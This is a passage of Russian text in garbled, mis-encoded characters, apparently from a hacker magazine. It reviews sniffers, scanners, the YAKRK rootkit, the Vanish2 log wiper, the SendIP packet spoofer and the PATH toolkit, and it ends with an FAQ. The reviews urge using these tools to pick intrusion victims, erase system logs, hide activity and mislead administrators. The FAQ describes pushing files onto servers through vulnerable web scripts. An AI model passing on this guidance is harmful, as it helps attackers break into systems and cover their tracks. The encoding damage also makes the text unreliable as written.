÷àòîâ, ïî÷òîâûõ ÿùèêîâ.
Íî ïîäîáðàòü ïàðîëè íà
çàùèùåííûõ ñòðàíèöàõ
íåâîçìîæíî.

ETTERCAP 
(WWW.ETTERCAP.SOURCE-
FORGE.NET)

Ïëþñû. Òâîåìó âíè-
ìàíèþ ïðåäëàãàåòñÿ

ñâîáîäíî ðàñïðîñòðàíÿå-
ìûé ñíèôåð ñ êó÷åé âîç-
ìîæíîñòåé. Ðàçðàáîòàííûé
ìåõàíèçì ïëàãèíîâ äåëàåò
ýòîò èíñòðóìåíò î÷åíü ãèá-
êèì è ðàñøèðÿåìûì. Òàê,
åñëè â áàçîâîé êîíôèãóðà-
öèè ìû èìååì òîëüêî «íþ-
õà÷à», òî äîïîëíèòåëüíûå
ìîäóëè ïîçâîëÿþò ïðîãå
âûïîëíÿòü ôóíêöèè ïîèñ-
êîâèêà äðóãîãî Ettercap�a
(âäðóã àäìèíèñòðàòîð-ïàðà-
íîèê è ñàì ñíèôàåò ëîêàëü
â ïîèñêàõ õàêåðîâ!) è ò.ä.
Ïðîñìîòðåòü âñå ïîäêëþ-
÷åííûå ïëàãèíû ìîæíî, îò-
äàâ êîìàíäó �ettercap -p
list". Êðîìå òîãî, ñíèôåð
ïðèâëåêàòåëåí ñâîèì ãðà-

»

»

»

»

Ïðîñòî ñêàíåð ïîðòîâ

Ettercap
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ôè÷åñêèì èíòåðôåéñîì
(UNIX íà÷àë àêòèâíî èñ-
ïîëüçîâàòü êðàñèâûå ôåé-
ñû). Îòîáðàæàÿ âñå êîìïü-
þòåðû, íàéäåííûå â ñåòè,
ïðîãðàììà ïðåäëàãàåò òåáå
âûáðàòü íåîáõîäèìûå äëÿ
èçó÷åíèÿ õîñòû è äåéñòâèÿ
íà íèõ. Åñëè ãäå-òî òîðìî-
çèøü - ñíèôåð èìååò îáðà-
áîò÷èê êíîïî÷êè �F1�. Äî-
ïîëíèòåëüíî Ettercap ìî-
æåò îïðåäåëÿòü óäàëåííóþ
ñèñòåìó, èñïîëüçóÿ îòïå-
÷àòêè èç áàçû nmap. 

Ìèíóñû. Âîçìîæíà ðàáîòà
òîëüêî ñ eth, à PPP è lo íå
ïîääåðæèâàþòñÿ. Õîòÿ
ïðàêòè÷åñêîãî èíòåðåñà â
ýòèõ äâóõ èíòåðôåéñàõ íåò,
íî êòî ñêàçàë, ÷òî ìû íå õî-
òèì òðåíèðîâàòüñÿ íà ñâîåé
ìàøèíå?

Âåðäèêò. Ïðîãðàììà îïðå-
äåëåííî äîñòîéíà òâîåãî
âíèìàíèÿ. Ïîïðîáîâàòü,
èçó÷èòü, ñîõðàíèòü â ëî-
êàëüíîì àðñåíàëå � âîò
ïóòü äàííîé ñîôòèíû.

ETHEREAL 
(WWW.ETHEREAL.COM)

Ýòà óòèëèòà ïî ôóíê-
öèîíàëüíîñòè ïîõîæà

íà Ettercap, íî èìååò íåêî-
òîðûå íåîáõîäèìûå ôè÷è.

Ïëþñû. Îñíîâíûì îòëè-
÷èåì Ethereal ÿâëÿåòñÿ gtk-
base-èíòåðôåéñ. Åùå ñîô-
òèíà ïîääåðæèâàåò íå
òîëüêî eth-èíòåðôåéñû, íî
è lo ñ PPP. Åñëè ãîâîðèòü î
ôóíêöèîíàëüíîñòè, òî è
òóò ñêàíåð íà âûñîòå: èìå-
åòñÿ íå òîëüêî î÷åíü ïðîñ-
òàÿ è ìîùíàÿ ñèñòåìà
ôèëüòðîâ, êîòîðàÿ çàìåòíî
îáëåã÷àåò ïðîöåññ ñáîðà
èíôîðìàöèè, íî è ñïîñîá-
íîñòü îáúåäèíåíèÿ îòäåëü-
íûõ ïàêåòîâ â äîêóìåíòû
(html-ñòðàíè÷êè, ýëåêòðîí-
íûå ïèñüìà). Êñòàòè, êðàé-
íå ïîëåçíàÿ øòóêà: àâòî-
ìàòè÷åñêè ñîáðàííûå ñòðà-
íè÷êè ñåéâÿòñÿ íà ëîêàëü-
íîì äèñêå, è, ïîñòàâèâ íà
íî÷ü ñíèôåð, òû ñìîæåøü
ïðîñìîòðåòü óòðîì, ãäå æå
áûëè òâîè ñîñåäè. Ñ ýòîãî
ìîìåíòà âñå ïîðíîðåñóðñû
èíòåðíåòà ñòàíóò äëÿ òåáÿ
áåñïëàòíûìè ;-).

Ìèíóñû. Ïîêà íå ðåàëè-
çîâàíî ñîåäèíåíèÿ ïàêåòîâ
ICQ-ïðîòîêîëà, íî ýòî ìîæ-
íî îáúÿñíèòü îñîáåí-
íîñòüþ òðàíñïîðòèðîâêè
ñîîáùåíèÿ. 

Âåðäèêò. Ñîâåòóþ ñêà÷àòü
ýòîò ñíèôåð, ñðàâíèòü åãî ñ
êîíêóðåíòîì è âûáðàòü, ÷òî
òåáå ïîíðàâèòñÿ áîëüøå.
Ïðîãðàììà î÷åíü ìîùíàÿ,
îñîáåííî åñëè èçó÷èòü ðó-
êîâîäñòâî è man.

SCANSSH V2.0 (WWW.MON-
KEY.ORG/~PROVOS/SCANSS
H/)

Ñîôòèíà ñêàíèò ëî-
êàëüíóþ ñåòü â ïîèñ-

êàõ çàïóùåííûõ äåìîíîâ
SSH è îïðåäåëÿåò âåðñèþ
ñåðâåðà.

Ïëþñû. Ìàëåíüêàÿ óòè-
ëèòêà äåëàåò îãðîìíóþ ðà-
áîòó ïî óïðîùåíèþ èçó÷å-
íèÿ ñåòåé. Òàêèì îáðàçîì, ñ
ïîìîùüþ ýòîãî ïðèëîæå-
íèÿ â òå÷åíèå íåñêîëüêèõ
ìèíóò ìîæíî ïðîñìîòðåòü
âñþ ëîêàëêó è ïîëó÷èòü IP
õîñòîâ, íà êîòîðûõ çàïó-
ùåííû ñåðâèñû SSH. Íî ñà-
ìîå ãëàâíîå íàçíà÷åíèå �
ýòî îïðåäåëåíèå âåðñèè äå-
ìîíà. Ïîñëå òàêîãî àíàëè-
çà, ðàññìàòðèâàÿ ëîãè,
ìîæíî ëåãêî íàéòè æåðòâó
äëÿ âçëîìà.

Ìèíóñû. Îáíîâëÿåòñÿ íå-
äîñòàòî÷íî ÷àñòî, è, êàê ðå-
çóëüòàò, íå âñå ñåðâåðà îï-
ðåäåëÿþòñÿ êîððåêòíî.

Âåðäèêò. Ñîôòèíà äîëæíà
ñîïðîâîæäàòü õàêåðà â åãî
íåëåãêîì ïóòè. Î÷åíü ÷àñòî
îïðåäåëÿþùóþ ðîëü â óñ-
ïåøíîñòè âçëîìà èãðàåò
ñêîðîñòü îïîçíàâàíèÿ áàæ-
íûõ ñåðâèñîâ, à ýòà ïðîã-
ðàììà è www.bugtraq.org
ñäåëàþò ýòî ìàêñèìàëüíî
áûñòðî.

NESSUS V 2.1.1 (WWW.NES-
SUS.ORG)

Ñ÷èòàåòñÿ îäíîé èç
ñàìûõ ëó÷øèõ ïðîã-

ðàìì äëÿ àíàëèçà óäàëåí-
íûõ ñèñòåì.

Ïëþñû. Ìîäóëüíîñòü,
ïîñòîÿííîå îáíîâëåíèå,
äîñòóïíîñòü èñõîäíûõ êî-
äîâ, ïðîñòîòà èñïîëüçîâà-
íèÿ, ìàëîå êîëè÷åñòâî

Scanssh

»

»

»

Ethereal

»



ëîæíûõ ñðàáàòûâàíèé äå-
ëàþò Nessus ëó÷øèì ïî-
ìîùíèêîì êàê àäìèíèñòðà-
òîðà, òàê è õàêåðà. Âîò èí-
òåðåñíåéøàÿ öèòàòà ïî
ýòîìó ïðèëîæåíèþ: « Ïðî-
äóêò Nessus ïîëó÷èë ñåð-
òèôèêàò Ãîñòåõêîìèññèè
ïðè Ïðåçèäåíòå ÐÔ íà ñî-
îòâåòñòâèå ïðåäñòàâëåí-
íîé âåðñèè ïðîäóêòà çàÿâ-
ëåííûì òåõíè÷åñêèì õà-
ðàêòåðèñòèêàì». Õîðîøî
ðàçâèòàÿ ñèñòåìà Plug-in
ïîçâîëÿåò íàçâàòü ýòîò
êîìïëåêñ îäíîçíà÷íûì ëè-
äåðîì ñðåäè ñêàíåðîâ áå-
çîïàñíîñòè äëÿ UNIX-like-
ñèñòåì. Îäèí èç ëó÷øèõ
ñêàíåðîâ íå òîëüêî ïî
þçàáåëüíîñòè, íî è ïî èí-
òåðôåéñó. Ïðîãðàììà èìå-
åò êðàñèâûé è ïðîñòîé
ôåéñ, â ëó÷øèõ òðàäèöèÿõ
gtk-base-ïðîãðàìì. Ðàçðà-
áîò÷èêè íå çàáûâàþò è
ïîääåðæèâàþò ñâîå äåòè-
ùå: ïðàêòè÷åñêè ñðàçó
ïîñëå ñîîáùåíèÿ î íîâîé
óÿçâèìîñòè Nessus óæå ìî-
æåò îïðåäåëÿòü åå. Ïîýòî-
ìó èíîãäà èìåííî ýòà ïðîã-
ðàììà èñïîëüçóåòñÿ âìåñ-
òî nmap äëÿ èçó÷åíèÿ àòà-
êóåìîãî õîñòà.

Ìèíóñû. Ïðîãðàììà äëÿ
ëîêàëüíîãî èñïîëüçîâà-
íèÿ, òî åñòü èñïîëüçîâàòü
â ïîõîäíûõ áîåâûõ óñëî-
âèÿõ åå âðÿä ëè óäàñòñÿ
èç-çà ðàçìåðà è íåîáõî-
äèìûõ áèáëèîòåê-çàâèñè-
ìîñòåé.

Âåðäèêò. Must have. Äîñ-
òàòî÷íî îäèí ðàç ïîñòà-
âèòü è èçó÷èòü ýòî ïðèëî-
æåíèå, ïîñëå ÷åãî òû ïîé-
ìåøü, ïî÷åìó ïðàêòè÷åñ-
êè âñå àäìèíû ñ÷èòàþò
ïðîãðàììó ëó÷øåé â ñâî-
åì êëàññå.

SECURITY
ADMINISTRATOR'S
INTEGRATED NETWORK
TOOL V5.5
(WWW.SAINTCORPORA-
TION.COM)

Êîììåð÷åñêèé ñêà-
íåð áåçîïàñíîñòè

äëÿ UNIX-like-ïëàòôîðì. Ê
ñîæàëåíèþ, íå áåñïëàòåí,
íî ýòî êîìïåíñèðóåòñÿ òåì,
÷òî èñïîëüçîâàòü åãî íå

äëÿ êîììåð÷åñêèõ öåëåé
ìîæíî âïîëíå ñâîáîäíî.

Ïëþñû. Ïðîãðàììà îñíî-
âàíà íà ëåãåíäàðíîì
SATAN�å (îí æå SANTA ;-)),
íî â îòëè÷èè îò ñâîåãî
ïðàðîäèòåëÿ ïîñòîÿííî îá-
íîâëÿåòñÿ è ñîâåðøåí-
ñòâóåòñÿ. Îñíîâíûìè ïëþ-
ñàìè ìîæíî ñ÷èòàòü ñêàíè-
ðîâàíèå ÷åðåç ôàåðâîëû,
âîçìîæíîñòü îáíîâëåíèÿ
áàç óÿçâèìîñòåé ÷åðåç èí-
òåðíåò, âûñîêàÿ ñêîðîñòü
ðàáîòû. Âñå âçàèìîäåé-
ñòâèå ñ ïðîãðàììîé îñóùå-
ñòâëÿåòñÿ ÷åðåç web-èí-
òåðôåéñ. Òî åñòü äëÿ ðàáî-
òû SAINT ïðîñòî íåîáõîäè-
ìî íà ìàøèíå èìåòü áðàó-
çåð, ìîæíî äàæå òåêñòî-
âîé. Êðîìå ýòîãî, äëÿ ãåíå-
ðàöèè âûâîäîâ íåîáõîäèì
Perl, òàê êàê îí ñëóæèò îñ-
íîâíûì ÿçûêîì ñîçäàíèÿ
äèíàìè÷åñêèõ ñòðàíèö â
äàííîì ÏÎ. Â öåëîì, òåñòû
ýòîé ñîôòèíû ïîêàçàëè
î÷åíü äàæå èíòåðåñíûå
ðåçóëüòàòû: ïðè èññëåäî-
âàíèè ìàøèí èíîãäà íàõî-
äÿò òàêèå óÿçâèìîñòè è
ñåðâèñû, î êîòîðûõ ìíîãèå
àíàëîãè÷íûå ïðîãðàììû
ìîë÷àò. À åñëè âêëþ÷èòü
ñìåêàëêó è ïîñìîòðåòü â
êàòàëîã ñ óñòàíîâëåííûì
SAINT, òî ìîæíî çàìåòèòü
ïàïî÷êó bin, ãäå ëåæàò çà-
ïóñêíûå ôàéëà àíàëèçàòî-
ðà. Èõ ìîæíî îòòóäà ïîçà-
èìñòâîâàòü è èñïîëüçîâàòü
êàê ìàëåíüêèå è àâòîíîì-
íûå óòèëèòû õàêåðà ;-) (
ïðàâäà, ýòî óæå äðóãàÿ èñ-
òîðèÿ, íî íàìåê ïîíÿë?).

Ìèíóñû. Ýòó ïðîãðàììó
òàêæå ñëîæíî íàçâàòü ïî-
õîäíûì èíñòðóìåíòîì õà-
êåðà � ðàçìåð îêîëî 2,5
ìåãàáàéò, äà è áðàóçåð,
èíòåðïðåòàòîð Perl äëÿ
ðàáîòû... Ïëàòíàÿ, ÷òî ñó-
æàåò îáëàñòü èñïîëüçîâà-
íèÿ ÏÎ, âåäü íå áóäåøü
æå òû íà êàæäûé ñêàíèðó-
åìûé õîñò çàêàçûâàòü
ñâîé êëþ÷!

Âåðäèêò. Íåïëîõî áû
èìåòü. Õîòü è ïëàòíûé, íî
åñòü è ñâîáîäíî äîñòóï-
íûå ðåàëèçàöèè. Ðàáîòà ñ
ïðîãðàììîé î÷åíü óäîá-
íàÿ è ýôôåêòèâíàÿ, ïðàâ-
äà, òîëüêî íà ñòàöèîíàð-

íîé ìàøèíå, ãäå âñå íàñò-
ðîåíî è îòòî÷åíî. Êðîìå
ýòîãî, åñòü öåëûé ñêëàä
ìèíè-óòèëèò, êîòîðûå
ïðîñòî ãðåõ íå ïðèìåíèòü
â æèçíè îòäåëüíî îò âñå-
ãî êîìïëåêñà.

NMAP 3.55 
(WWW.INSECURE.ORG)

Âîò äîáðàëèñü è äî
ñóïåðïîïóëÿðíîãî

àíàëèçàòîðà ñåòåé. Ïîæà-
ëóé, ýòî ñàìûé ïîïóëÿðíûé
ñêàíåð-óíåâåðñàë êàê ñðå-
äè þíèêñîèäîâ, òàê è ñðåäè
âèíäóçÿòíèêîâ.

Ïëþñû. Ñàìûé ãëàâíûé
ïëþñ - ïðåâîñõîäíûé ïîèñ-
êîâèê îòêðûòûõ ïîðòîâ ñ
îãðîìíûì êîëè÷åñòâîì îï-
öèé äëÿ íàñòðîéêè. Âîò äà-
ëåêî íå ïîëíûé ñïèñîê âîç-
ìîæíîñòåé: ñêàíèðîâàíèå
äèàïàçîíîâ IP-àäðåñîâ, öå-
ëûõ ïîäñåòåé, ñòåëñ-ñêàíè-
ðîâàíèå ïîðòîâ. Ñêàíèðî-
âàíèå ïîðòîâ ñ óñòàíîâêîé
àäðåñà âîçâðàòà, òî åñòü
ïðîèñõîäèò êîððåêòèðîâêà
çàãîëîâêà IP-ïàêåòà, ÷òî
î÷åíü óäîáíî ïðè íàëè÷èè
2 ñåòåâûõ êàðò íà ìàøèíå.
Ñòåëñ-ñêàíèðîâàíèå è
ïðîñòîé ìåõàíèçì TCP-
ïîäêëþ÷åíèé, ïåðâûé ñïî-
ñîá äîñòóïåí òîëüêî ïîëü-
çîâàòåëþ root, ÷òî ëåãêî
ìîæíî îáúÿñíèòü ñ òî÷êè
çðåíèÿ IT-áåçîïàñíîñòè.
Ïðîãðàììà ïîçâîëÿåò òàê-
æå ýôôåêòèâíî èçó÷àòü
óäàëåííûé õîñò è ïî UDP-
ïðîòîêîëó. Åñëè ãîâîðèòü î
ñêàíèðîâàíèè ïîäñåòåé, òî
åñòü âîçìîæíîñòü ïðîâåñòè
ïðîñòîé ping-scan è òàêèì
îáðàçîì íàéòè âêëþ÷åííûå
ìàøèíû. Êàê è ó ìëàäøèõ
ñîáðàòüåâ, ó äàííîé ñîôòè-
íû èìååòñÿ âîçìîæíîñòü
ñêàíèðîâàíèÿ ïðîèçâîëü-
íîãî äèàïàçîíà ïîðòîâ, âû-
âîä ïîäðîáíûõ äàííûõ â
ñâîé ëîã-ôàéë. Ñêàíåð äî-
ïîëíåí õîðîøèì ìåõàíèç-

ìîì îïðåäåëåíèÿ óäàëåí-
íîé îïåðàöèîííîé ñèñòåìû.
Î÷åíü ñèëüíûå ñïîñîáû îï-
ðåäåëåíèÿ ñåðâåðîâ, âèñÿ-
ùèõ íà îïðåäåëåííûõ ïîð-
òàõ õîñòà. Ïðîãðàììà èùåò
äåìîíà íà ïîðòó è óçíàåò
åãî âåðñèþ ñ òî÷íîñòüþ äî
òðåòüåãî çíàêà (íàïðèìåð,
OpenSSH 3.6.1), ÷òî ïðîñòî
íå ìîæåò íå ðàäîâàòü ñêðè-
ïòêèäèñîâ. Çà ñ÷åò âñòðîåí-
íîãî fingerprinting'a nmap
ïðåâðàùàåòñÿ â ìîùíûé
êîìïëåêñ àíàëèçà õîñòîâ â
ñåòè. Ñ êàæäîé íîâîé âåð-
ñèåé ïîïîëíÿåòñÿ áàçà äàí-
íûõ îòïå÷àòêîâ ðàçëè÷íûõ
ñèñòåì, è óæå ñåé÷àñ nmap
îïðåäåëÿåò íå òîëüêî âåð-
ñèþ Âèíäîâ, íî è íîìåð ÿä-
ðà, åñëè ýòî Linux-ìàøèíà.

Ìèíóñû. Ðàçìåð, êàê ó è
ëþáîãî êîìïëåêñà ñåòåâîãî
àíàëèçà nmap, äîñòàòî÷íî
áîëüøîé. Õîòÿ è ñîâåðøå-
íñòâóåòñÿ ñïîñîá "ñíÿòèÿ
îòïå÷àòêîâ", âñå åùå äîñ-
òàòî÷íî ÷àñòî ïðèõîäèòñÿ
ïîëó÷àòü àíàëîãè÷íûå ýòî-
ìó âûâîäû ïðîãðàììû:
"Ýòî òî÷íî Âèíäà. Âåðñèÿ?
Èëè Ìèëëåíèóì, èëè 2ê
ñåðâåð, âîçìîæíî, è 2ê àä-
âàíñ-ñåðâåð, õîòÿ ïîõîæå
íà ÕÐ, äàæå âðîäå ñ ïåð-
âûì ñåðâèñïàêîì". Ïðè
ýòîì Linux îïðåäåëÿåòñÿ
äîñòàòî÷íî ÷åòêî.

Âåðäèêò. Îäíîçíà÷íûé
must have. Ëþáîé óäàëåí-
íûé àíàëèç ñèëüíî óïðî-
ùàåòñÿ ïðè èñïîëüçîâàíèè
ýòîé ñîôòèíû. Ïðîãðàììà
ñ÷èòàåòñÿ îäíîé èç îñíîâ-
íûõ óòèëèò õàêåðà.

YAKRK - YET ANOTHER
KERNEL ROOTKIT
(WWW.ROBOTA.NET/DOWN-
LOAD?FILE=93)

Ýòà óòèëèòà ïðåäñ-
òàâëÿåò ñîáîé íàáîð

ðóòêèòîâ äëÿ ÿäåð 2.4.
Âïîëíå èíòåðåñíàÿ ñîôòè-
íà, òåì áîëåå åñëè ó÷åñòü,
÷òî âñå åùå î÷åíü ìíîãèå
ñåðâåðà êðóòÿòñÿ íà ÿäðàõ
ñåðèè 2.4. 

Ïëþñû. Îñíîâíîé ïëþñ
íàáîðà � ìèíèìàëüíîå èç-
ìåíåíèå ñèñòåìíîé êîíôè-
ãóðàöèè. Ðàáîòàåò ïðèëî-
æåíèå íà óðîâíå ÿäðà, ïå-
ðåõâàòûâàÿ íåêîòîðûå ñèñ-
òåìíûå âûçîâû ÎÑ.
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Ìèíóñû. Ïîêà âîçìîæ-
íîñòè ýòîãî ðóòêèòà î÷åíü
îãðàíè÷åííû. Îí ñïîñîáåí
ëèøü ñêðûâàòü ñåòåâóþ
àêòèâíîñòü íåêîòîðûõ ïðè-
ëîæåíèé.

Âåðäèêò. Åñëè íóæíî óñ-
òàíîâèòü ìàëåíüêèé è
î÷åíü ïðîñòîé ðóòêèò � ýòî
ÏÎ äëÿ òåáÿ. Íåïëîõî, êîã-
äà ýòà ñîôòèíà ëåæèò ó òå-
áÿ â áîåêîìïëåêòå, íî è
áåç íåå ìîæíî ñïîêîéíî
îáîéòèñü ;-).

VANISH2
(HTTP://PACKETSTORMSE-
CURITY.ORG/UNIX/PENE-
TRATION/LOG-
WIPERS/VANISH2.TGZ)

Îäíà èç ñàìûõ íåîá-
õîäèìûõ óòèëèò íà

çàõâà÷åííîé ìàøèíå � ÷èñ-
òèëüùèê ëîã-ôàéëîâ. Ïîñ-
ëå äîëãèõ è óïîðíûõ òåñòîâ
ÿ ïðåäëàãàþ èñïîëüçîâàòü
Vanish2. 

Â àðõèâå îáíàðóæèëñÿ
òîëüêî ôàéë êîäà íà ÿçû-
êå Ñ è õåäåð. Äîáàâèòü
make ïðîãðàììèñòàì óæå
íå õâàòèëî ñèë, ïîýòîìó
êîìïèëèðîâàòü ïðîãðàììó
ñëåäóåò òàê: �gcc vanish2.c
-o vanish2�. 

Ïëþñû. Î÷åíü ãðàìîòíàÿ
÷èñòêà êàê òåêñòîâûõ, òàê è
áèíàðíûõ ëîãîâ âñåé ñèñòå-

ìû. Îñíîâíîå âíèìàíèå
ñëåäóåò îáðàòèòü íà ÷èñòêè
æóðíàëîâ messages, secure
è httpd.access_log. Ñ ýòîé
çàäà÷åé ÏÎ ñïðàâèëîñü
î÷åíü õîðîøî: âñå ÷èñòî è
ðîâíî. Òàêæå ê ñèëüíîé
ñòîðîíå ÷èñòèëüùèêà ñëå-
äóåò îòíåñòè è îòñóòñòâèå
âðåìåííûõ ôàéëîâ ïîñëå
ðàáîòû, îíè ñîçäàþòñÿ âî
âðåìÿ ÷èñòêè, íî óäàëÿþòñÿ
ïî åå çàâåðøåíèè. Åñëè
ïðîöåññ áóäåò ïðèáèò, à
àíàëèç æóðíàëà íå çàêîí-
÷åí, òî îñòàíóòñÿ âðåìåí-
íûå ôàéëû, ïî êîòîðûì
ìîæíî âû÷èñëèòü, ÷òî ðà-
áîòàë ëîãâàéïåð. Îòñóò-
ñòâîâàëè è core-ôàéëû, òî
åñòü ïîñëå ðàáîòû â ñèñòå-
ìå íå îñòàåòñÿ ïðàêòè÷åñêè
íèêàêèõ ñëåäîâ.

Ìèíóñû. Ïîæàëóé, åäèí-
ñòâåííûé íåäîñòàòîê � ýòî
ñêîðîñòü ðàáîòû. Ïîëíûé
àíàëèç äâóõíåäåëüíûõ ëî-
ãîâ ñåðâåðà çàíÿë îêîëî 10
ìèíóò.

Âåðäèêò. Must have. Ëó÷-
øèé ÷èñòèëüùèê èç âñåõ
ïðåäëîæåííûõ. Ñ çàäà÷åé
ñîêðûòèÿ ñëåäîâ òâîåé äåÿ-
òåëüíîñòè ñïðàâèòñÿ î÷åíü
õîðîøî, ïðàâäà, çàòðàòèâ
íà ýòî óéìó âðåìåíè.

SENDIP
(HTTP://WWW.EARTH.LI/P
ROJECTPURPLE/PROGS/SE
NDIP.HTML)

Ïëþñû. Ðàçìåð
î÷åíü ìàëåíüêèé, à

âîçìîæíîñòè èíòåðåñíûå.
Ãëàâíàÿ çàäà÷à äàííîãî
ÏÎ � ýòî îòïðàâëÿòü ïàêå-
òû íà îïðåäåëåííûé IP ñ
èçìåíåííûì àäðåñîì âîçâ-

ðàòà. Âîçìîæíîñòü îòïðàâ-
êè ïàêåòîâ îò äðóãèõ IP-
àäðåñîâ ïîìîæåò òåáå
ñêðûòü ñâîþ àêòèâíîñòü â
ñåòè. Íàïðèìåð, åñëè ïîÿ-
âÿòñÿ ïðèçíàêè òîãî, ÷òî
òåáÿ çàñåêëè, ïðîñòî çà-
ïóñêàåøü ïðîãðàììó, óêà-
çûâàåøü åé íåîáõîäèìûå
ïàðàìåòðû� Â ðåçóëüòàòå
íà æåðòâó îáðóøèâàþòñÿ
ïàêåòû êàê áóäòî îò âïîë-
íå ìèðîëþáèâîãî õîñòà,
÷òî ëåãêî ìîæåò ñáèòü ñ
òîëêó àäìèíà. Íî ñëåäóåò
ó÷èòûâàòü, ÷òî ïðàâèëüíî
ðàññòàâëåííûå àäìèíîì
ñíèôåðû âûäàäóò òåáÿ ñ
ïîòðîõàìè «áëàãîäàðÿ»
ýòîé ñîôòèíå.

Ìèíóñû. Î÷åíü îáùèå
íàñòðîéêè ïàðàìåòðîâ èñ-
õîäÿùèõ ïàêåòîâ, ÷òî íå
ïîçâîëÿåò èñïîëüçîâàòü
ýòó ïðîãðàììó ïðîòèâ ãðà-
ìîòíûõ àäìèíîâ è IT-ñïå-
öèàëèñòîâ.

Âåðäèêò. Åñëè íàìå÷àåò-
ñÿ àòàêà íà çàùèùåííûé
UNIX-õîñò, òî çàïàñòèñü
ïðîãðàììîé êðàéíå æåëà-
òåëüíî. Ïðè ïðàâèëüíîì
èñïîëüçîâàíèè óäàñòñÿ
ñáèòü ñ òîëêó ïîäàâëÿþ-
ùåå áîëüøèíñòâî àäìè-
íèñòðàòîðîâ. Çàïàñ áåäû
íå ÷èíèò, ïîýòîìó íå ïî-
ëåíèñü ñêà÷àòü, ñêîìïè-
ëèòü è íàó÷èòüñÿ ïîëüçî-
âàòüñÿ äàííîé ïðîãðàì-
ìîé � íà âîéíå âñå ñðåä-
ñòâà õîðîøè.

PATH (PERL ADVANCED
TCP HIJACKING)
(WWW.P-A-T-H.SOURCE-
FORGE.NET)

Ýòî öåëûé íàáîð õà-
êåðà, íàïèñàííûé íà

ÿçûêå Perl. Äëÿ ðàáîòû äîñ-
òàòî÷íî èìåòü íà ìàøèíå
èíòåðïðåòàòîð Perl, è óæå
ìîæíî èññëåäîâàòü ñåòè.

Ïëþñû. Â äèñòðèáóòèâå,
äàòèðîâàííîì 09.11.2003,
ñîäåðæàòñÿ ñëåäóþùèå
óòèëèòû: ïðîãðàììà-ãåíåðà-
òîð ïðîèçâîëüíûõ ïàêåòîâ,
íåïëîõîé ñíèôåð, ICMP è
ARP-ðîóòåð. ×òî èíòåðåñíî,
ýòîò êîìïëåêñ êîìïëåêòóåò-
ñÿ êàê êîíñîëüíîé âåðñèåé,
òàê íåñëîæíûì GUI-èíòåð-
ôåéñîì. Íàñ, ïðåæäå âñåãî,
èíòåðåñóåò êîíñîëü, êîòî-
ðàÿ ðåàëèçîâàíà î÷åíü õî-
ðîøî. À ôóíêöèîíàëüíîñòè
âñåãî êîìïëåêñà ÿ áû ïîñ-
òàâèë òâåðäóþ "òðîå÷êó".
Ïðîñòî àíàëîãè÷íûõ óòèëèò
î÷åíü ìíîãî, ïðè÷åì îíè
âêëþ÷àþòñÿ êàê â ñîñòàâ
öåëûõ êîìïëåêñîâ, òàê è
ïëàâàþò ïî èíòåðíåòó â âè-
äå îòäåëüíûõ áèíàðíèêîâ.
Îñíîâíîé ïëþñ (à ÷àñòî ìè-
íóñ) ýòîãî êîìïëåêòà � ýòî
èñïîëüçîâàíèå èíòåðïðåòè-
ðóåìîãî ÿçûêà äëÿ âûïîë-
íåíèÿ ñâîåé ðàáîòû. 

Ìèíóñû. Òðåáóåòñÿ èíòå-
ðïðåòàòîð Perl. 

Âåðäèêò. Åñëè òåáÿ èíòå-
ðåñóþò ìàëåíüêèå è ìîãó-
÷èå ïðîãðàììû íà Perl èëè
òâîÿ çàäà÷à - ðàçîáðàòüñÿ
ñ ðàáîòîé ñíèôåðîâ, òî
ýòîò íàáîð äëÿ òåáÿ. Åñëè
íåò � åãî ëåãêî ìîæíî çàìå-
íèòü áèíàðíèêàìè, îïèñàí-
íûìè âûøå. E
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Êàê îïðåäåëèòü, ïå-
ðåñûëàþòñÿ ëè ëîãè

íà äðóãèå ìàøèíû â ñåòè
èëè íåò?

Ôóíêöèþ ïåðåñûëêè
ëîãîâ ïîääåðæèâàåò
äåìîí syslogd. Âî-ïåð-
âûõ, îáðàòè âíèìàíèå
íà ïðîöåññ ñåðâèñà.
Åñëè îí çàïóùåí ñ ïà-
ðàìåòðîì �ss, ìîæåøü
íå âîëíîâàòüñÿ � ïåðå-
ñûëêè ëîãîâ íåò. Åñëè
ïàðàìåòðû îïóùåíû,
çàãëÿíè â
/etc/syslog.conf è ïîè-
ùè ïîäñòðîêó «@àä-
ðåñ_ñèñòåìû». Åñëè òà-
êîâàÿ èìååòñÿ, ìîæíî
ñäåëàòü âûâîä, ÷òî ëî-
ãè ïåðåñûëàþòñÿ íà
ñòîðîííèé ñåðâåð â àâ-
òîìàòè÷åñêîì ðåæèìå.

Êàê çàêà÷àòü ôàéë íà
ñåðâåð ÷åðåç áàæíûé

WWW-ñêðèïò, åñëè íà ìà-
øèíå îòñóòñòâóåò wget?

Ñóùåñòâóåò íåñêîëüêî
ñïîñîáîâ çàëèâêè ôàé-
ëîâ ÷åðåç óÿçâèìûå
ñêðèïòû. Äàæå åñëè íà
ñåðâåðå îòñóòñòâóåò
wget, ïðîâåðü íàëè÷èå
fetch èëè get. Ìîæíî èñ-
ïîëüçîâàòü FTP-ñöåíà-
ðèé è âûòÿíóòü íóæíûé
ôàéë ÷åðåç /usr/bin/ftp.
Ïðè ýòîì èñïîëüçóé îï-
öèþ �n, ÷òîáû ïåðåäàòü
ëîãèí è ïàðîëü â îäíîé
ñòðîêå. Ñàì ñöåíàðèé
çàïèøè ïîñòðî÷íî â
ôàéë ñ ïîìîùüþ êîìàí-
äû /bin/echo.

×òî ìîæåò ñâåòèòü çà
íåëåãàëüíîå ñêàíèðî-

âàíèå ïîðòîâ?

Ñêàíèðîâàíèå ïîðòîâ �
íàðóøåíèå ïîðÿäêà â
ñåòè. Òû ìîæåøü âîç-
ìóòèòüñÿ, ìîë, ÿ æå íè-
÷åãî íå ñäåëàë - ïðîñòî
ïîñìîòðåë ñîñòîÿíèå
ïîðòîâ. Â ëó÷øåì ñëó-
÷àå àäìèí óäàëåííîãî
ñåðâåðà íè÷åãî íå çà-
ìåòèò, íî, åñëè íà ñåð-
âåðå ñòîèò óòèëèòà,
îòñëåæèâàþùàÿ ñêàí,
ñèñàäì ìîæåò ïðåñå÷ü
òâîþ äåÿòåëüíîñòü, îò-
ïèñàâ ïðîâàéäåðó. ×àñ-
òî ó ïðîâàéäåðà èìååò-
ñÿ òàê íàçûâàåìûé ðåã-
ëàìåíò, â êîòîðîì åñòü
ïóíêò, îãîâàðèâàþùèé
ñêàíèðîâàíèå. Òàê ÷òî,
ó÷èòûâàÿ ñåðüåçíîñòü
ñèòóàöèè, òåáÿ ìîãóò
îòêëþ÷èòü îò ñåòè.
Âïðî÷åì, ôèçè÷åñêîå
îòêëþ÷åíèå � äîâîëüíî
ðåäêîå ÿâëåíèå, íî âñå
